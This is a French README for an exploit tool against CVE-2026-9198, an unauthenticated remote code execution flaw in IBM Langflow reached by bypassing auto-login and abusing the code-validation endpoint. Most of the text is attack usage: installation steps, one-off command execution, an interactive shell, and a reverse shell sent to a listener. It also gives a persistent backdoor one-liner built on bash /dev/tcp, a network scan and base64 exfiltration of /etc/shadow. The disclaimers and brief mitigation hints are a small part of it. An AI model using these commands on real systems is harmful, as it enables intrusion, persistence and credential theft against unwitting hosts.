
IBM Langflow RCE non authentifiée via contournement de l'auto-connexion
CVE-2026-9198 est une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée dans IBM Langflow OSS. Cet exploit combine deux vulnérabilités :
/api/v1/validate/code qui permet l'exécution arbitraire de code Python⚠️ AVERTISSEMENT : Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Toute utilisation non autorisée est illégale.
pipgit clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198
pip install termcolor
Ou installer toutes les dépendances d'un coup :
pip install -r requirements.txt
python CVE-2026-9198.py --help
Vous devriez voir le menu d'aide avec toutes les options disponibles.
Exécuter une commande unique sur la cible :
python CVE-2026-9198.py -t <target_ip> -c "id"
Exemple :
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"
Lancer un shell interactif avec des invites dynamiques :
python CVE-2026-9198.py -t <target_ip> --shell
Fonctionnalités :
user@host et le répertoire courantcd avec mise à jour automatique de l'inviteExemple de session :
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp
Envoyer un payload reverse shell à un écouteur :
python CVE-2026-9198.py -t <target_ip> --lhost <your_ip> --lport <port>
Exemple :
# On your machine - Start listener
nc -lvnp 4444
# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444
Si Langflow s'exécute sur un port non standard :
python CVE-2026-9198.py -t <target_ip> -p <port> -c "whoami"
Exemple :
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"
Ignorer le processus d'auto-connexion et utiliser un jeton existant :
python CVE-2026-9198.py -t <target_ip> -k <your_jwt_token> -c "id"
Ajuster le délai d'expiration HTTP pour les réseaux plus lents :
python CVE-2026-9198.py -t <target_ip> --timeout 30 -c "whoami"
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"
python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd
# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"
Pour se protéger contre cette vulnérabilité :
/api/v1/auto_login et /api/v1/validate/codeCet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce logiciel. Les utilisateurs sont seuls responsables du respect des lois et règlements applicables.
Ce projet est distribué sous licence MIT - voir le fichier LICENSE pour plus de détails.
0xgh057r3c0n
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si vous trouvez cet outil utile, pensez à lui attribuer une ⭐ sur GitHub !
| Argument | Description | Requis | Valeur par défaut |
|---|
-t, --target | Hôte/IP cible ou URL complète | ✅ Oui | - |
-p, --port | Port Langflow | ❌ Non | 7860 |
-c, --cmd | Exécute une commande unique | ❌ Non | "id" |
--shell | Mode pseudo-shell interactif | ❌ Non | False |
--lhost | IP de l'écouteur reverse shell | ❌ Non | - |
--lport | Port de l'écouteur reverse shell | ❌ Non | 4444 |
-k, --token | Utilise le jeton bearer fourni | ❌ Non | - |
--timeout | Délai d'expiration HTTP en secondes | ❌ Non | 20 |
--no-banner | Masque la bannière | ❌ Non | False |